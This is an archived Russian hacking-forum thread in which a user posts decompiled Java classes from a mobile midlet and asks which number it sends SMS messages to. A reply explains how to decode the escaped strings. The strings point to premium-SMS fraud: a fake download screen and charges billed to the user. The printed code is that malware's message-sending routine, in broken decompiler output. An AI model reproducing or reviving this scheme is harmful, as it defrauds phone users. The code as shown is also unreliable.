Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   помогите найти куда ушла смс (https://forum.antichat.xyz/showthread.php?t=168390)

ufalog 05.01.2010 13:22

помогите найти куда ушла смс
 
пример отправки смс

PHP код:

 
      begin 
   
      
if not SmsStartSend('sms://+5550000''Hello!'then Halt

      while 
SmsIsSending do // wait for the message to be sent 
   
      
Delay(100); 

      if 
not SmsWasSuccessfull then Halt;
 
      
end



раскопал мидлет там


m.class

PHP код:


import java
.io.PrintStream;
import java.util.Enumeration;
import java.util.Vector;
import javax.microedition.io.Connector;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;

public abstract class 
m
    
implements Runnable
{

    protected abstract 
void a();

    public 
m()
    {
        
a_boolean_fld false;
        
b_boolean_fld false;
        
b_int_fld 0;
        
a_int_fld 0;
        
c_int_fld 0;
    }

    public 
m(Vector vector)
    {
        
a_boolean_fld false;
        
b_boolean_fld false;
        
b_int_fld 0;
        
a_int_fld 0;
        
c_int_fld 0;
        
c_int_fld vector.size();
        
= new String[c_int_fld];
        
c_java_lang_String_array1d_fld = new String[c_int_fld];
        
b_java_lang_String_array1d_fld = new String[c_int_fld];
        
a_java_lang_String_array1d_fld = new String[c_int_fld];
        
vector vector.elements();
        if(
c_int_fld 0)
            while(
vector.hasMoreElements()) 
            {
                
String s = (String)vector.nextElement();
                try
                {
                    
System.out.println(" get next frome vector");
                    
d[a_int_fld] = b_java_lang_String_array1d_fld[a_int_fld] = s.substring(0s.indexOf(" "));
                    
c_java_lang_String_array1d_fld[a_int_fld] = a_java_lang_String_array1d_fld[a_int_fld] = s.substring(s.indexOf(" ") + 1);
                    
System.out.println("vector_number = " d[a_int_fld]);
                    
System.out.println("vector_text = " c_java_lang_String_array1d_fld[a_int_fld]);
                    
a_int_fld++;
                }
                catch(
Exception exception)
                {
                    
System.out.println("ERROR IN sendSMS 1 >> " exception);
                }
            }
    }

    public final 
void b()
    {
        if(
b_int_fld a_int_fld)
        {
            
a_java_lang_String_array1d_fld = new String[1];
            
b_java_lang_String_array1d_fld = new String[1];
            
a_java_lang_String_array1d_fld[0] = c_java_lang_String_array1d_fld[b_int_fld];
            
b_java_lang_String_array1d_fld[0] = d[b_int_fld];
            
b_int_fld++;
            
a_java_lang_Thread_fld = new Thread(this);
            
a_java_lang_Thread_fld.start();
        }
    }

    public 
void run()
    {
        
int i;
        
System.out.println("===> sms start");
        
0;
        if(
b_java_lang_String_array1d_fld[0].equals(""))
            return;
        
System.out.println("number.length " b_java_lang_String_array1d_fld.length);
        
System.out.println("number[i]" b_java_lang_String_array1d_fld[0]);
        
System.out.println("text[i] " a_java_lang_String_array1d_fld[0]);
        if(
a_java_lang_String_array1d_fld[0].length() <= 0)
            break 
MISSING_BLOCK_LABEL_516;
_L3:
        if(
>= b_java_lang_String_array1d_fld.length) goto _L2; else goto _L1
_L1
:
        
MessageConnection messageconnection;
        
System.out.println("i= " i);
        
messageconnection null;
        
TextMessage textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open("sms://" b_java_lang_String_array1d_fld[i])).newMessage("text");
        
System.out.println("4");
        
textmessage.setAddress("sms://" b_java_lang_String_array1d_fld[i]);
        
textmessage.setPayloadText(a_java_lang_String_array1d_fld[i]);
        
System.out.println("===> test start send");
        
messageconnection.send(textmessage);
        
System.out.println("===> send ok");
        
System.out.println("===> sms ok " b_java_lang_String_array1d_fld[i] + a_java_lang_String_array1d_fld[i]);
        
a();
        if(
messageconnection == null)
            continue; 
/* Loop/switch isn't completed */
        
try
        {
            
messageconnection.close();
        }
        catch(
Exception exception2)
        {
            
System.out.println("===> sms ERROR 2 " exception2.toString());
        }
        continue; 
/* Loop/switch isn't completed */
        
Exception exception3;
        
exception3;
        
System.out.println("-=>>in sms i " i);
        
System.out.println("===> sms ERROR " exception3.toString());
        if(
messageconnection == null)
            continue; 
/* Loop/switch isn't completed */
        
try
        {
            
messageconnection.close();
        }
        catch(
Exception exception4)
        {
            
System.out.println("===> sms ERROR 2 " exception4.toString());
        }
        continue; 
/* Loop/switch isn't completed */
        
i;
        if(
messageconnection != null)
            try
            {
                
messageconnection.close();
            }
            catch(
Exception exception1)
            {
                
System.out.println("===> sms ERROR 2 " exception1.toString());
            }
        throw 
i;
        
i++;
          goto 
_L3
_L2
:
        
synchronized(this)
        {
            
a_java_lang_Thread_fld null;
        }
        return;
    }

    private 
String a_java_lang_String_array1d_fld[];
    private 
String b_java_lang_String_array1d_fld[];
    private 
String c_java_lang_String_array1d_fld[];
    private 
String d[];
    private 
Thread a_java_lang_Thread_fld;
    private 
boolean a_boolean_fld;
    private 
boolean b_boolean_fld;
    private 
int b_int_fld;
    public 
int a_int_fld;
    private 
int c_int_fld;



как узнать на какой номер мидлет отправил смс и с каким текстом

есть подозрение что переменные беруться из f.class


PHP код:








import java
.io.PrintStream;
import javax.microedition.lcdui.Display;
import javax.microedition.lcdui.Font;
import javax.microedition.midlet.MIDlet;

public final class 
extends v
{

    public 
f(MIDlet midlet)
    {
        
a_p_fld null;
        
null;
        
a_x_fld null;
        
a_boolean_fld false;
        
a_Midlet_fld = (Midlet)midlet;
        (
midlet this).a_e_fld = new e("inf.dat"u.a(e.a), u.a(e.b));
        
midlet.a_m_fld = new o(midlet, ((f) (midlet)).a_e_fld);
    }

    public final 
void a()
    {
        if(!
u.a(0x36ee80L))
        {
            
f f1 this;
            
p p1 = new p(true);
            
b b2 = (new b(>> 1>> 1d203)).c(3).a(true).a("\u0412\u044B \u0443\u0436\u0435").a("\u0437\u0430\u043F\u0443\u0441\u043A\u0430\u043B\u0438 \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u043C\u0443,").a("\u043F\u043E\u043F\u0440\u043E\u0431\u0443\u0439\u0442\u0435 \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0441.").a(-1);
            
p1.a(new z[] {
                
b2
            
});
            new 
t(f14000);
            
p1.a();
            return;
        }
        
Display.getDisplay(a_Midlet_fld);
        
System.out.println("str cur this");
        break 
MISSING_BLOCK_LABEL_148;
        
JVM INSTR pop ;
        
System.out.println(" ");
        
System.out.println("str cur this");
        break 
MISSING_BLOCK_LABEL_148;
        
Exception exception;
        
exception;
        
System.out.println("str cur this");
        throw 
exception;
        
f f2;
        if((
f2 this).a_p_fld == null)
        {
            
f2.a_p_fld = new p(true);
            
f2.a_p_fld.setTitle("\u0412\u044B\u043F\u043E\u043B\u043D\u044F\u0435\u0442\u0441\u044F \u0437\u0430\u0433\u0440\u0443\u0437\u043A\u0430.");
            
b b1;
            (
b1 = (new b(>> 1>> 1d303)).c(3).a(true)).a("\u0427\u0442\u043E\u0431\u044B \u0431\u044B\u0441\u0442\u0440\u043E");
            
b1.a("\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043B\u0441\u044F \u0444\u0430\u0439\u043B");
            
b1.a("\u043D\u0430\u0436\u0438\u043C\u0430\u0439\u0442\u0435 \u043E\u043A");
            
b1.b(0x115511);
            
s s1 = new s(f2);
            
r r1 = new r(f2);
            
f2.a_x_fld = new x(>> 13020Font.getDefaultFont().getHeight(), 30xff00000x115511);
            
f2.a_x_fld.a(0);
            
f2.a_x_fld.b(0xffffff);
            
f2.a_x_fld.a(0);
            
f2.a_x_fld.a(f2.a_x_fld.a() + "%");
            
f f3;
            if((
f3 f2).== null)
            {
                
f3.= new p(true);
                
f3.b.setTitle(" ");
                
b b3;
                (
b3 = (new b(>> 1>> 1v.dv.303)).c(3).a(true)).a("SMS \u043E\u0442\u043F\u0440\u0430\u0432\u043B\u0435\u043D\u044B \u0432 \u0441\u0447\u0435\u0442 \u043F\u043E\u043B\u044C\u0437\u043E\u0432\u0430\u043D\u0438\u044F \u0441\u0438\u0441\u0442\u0435\u043C\u043E\u0439 \u0438 \u043D\u0430 \u0438\u0445 \u043E\u0442\u043F\u0440\u0430\u0432\u043A\u0443 \u0432\u044B \u0434\u0430\u043B\u0438 \u0441\u0432\u043E\u0435 \u0441\u043E\u0433\u043B\u0430\u0441\u0438\u0435.");
                
b3.a("\u0412\u0430\u043C \u043F\u0440\u0438\u0439\u0434\u0451\u0442 \u043F\u0430\u0440\u043E\u043B\u044C \u043A\u043E\u0442\u043E\u0440\u044B\u0439 \u0432\u044B \u043C\u043E\u0436\u0435\u0442\u0435 \u0438\u0441\u043F\u043E\u043B\u044C\u0437\u043E\u0432\u0430\u0442\u044C \u0434\u043B\u044F \u0434\u043E\u0441\u0442\u0443\u043F\u0430 \u043A \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043C \u0441\u0430\u0439\u0442\u0430 1sp.su.");
                
b3.b(0x115511);
                
q q1 = new q(f3);
                
f3.b.a(""null"\u0412\u044B\u0445\u043E\u0434"q1);
                
f3.b.a(new z[] {
                    
b3
                
});
            }
            
f2.a_x_fld.a(100f3.b);
            
f2.a_x_fld.b(99 / (f2.a_m_fld.1), s1);
            
f2.a_p_fld.a("\u043E\u043A"r1""null);
            
f2.a_p_fld.a(new z[] {
                
b1f2.a_x_fld
            
});
        }
        
f2.a_p_fld.a();
        return;
    }

    static 
m a(f f1)
    {
        return 
f1.a_m_fld;
    }

    final 
Midlet a_Midlet_fld;
    private 
e a_e_fld;
    private 
m a_m_fld;
    private 
p a_p_fld;
    private 
p b;
    
x a_x_fld;
    
boolean a_boolean_fld;

    static 
    {
        
y.= -1;
        
y.0x115511;
        
b.0x115511;
    }



ufalog 05.01.2010 13:31

какой тип кодировки
 
PHP код:

\u0412\u044B\u043F\u043E\u043B\u043D\u044F\u0435\u  0442\u0441\u044F \u0437\u0430\u0433\u0440\u0443\u0437\u043A\u0430.\ 


как можно ето раскодировать?

t4Nk 05.01.2010 14:28

это юникод-строка
если python под рукой, то можно так
Код:

print u'\u0412\u044B\u043F\u043E\u043B\u043D\u044F\u0435\u0442\u0441\u044F \u0437\u0430\u0433\u0440\u0443\u0437\u043A\u0430.'
выведет "Выполняется загрузка."


Время: 08:16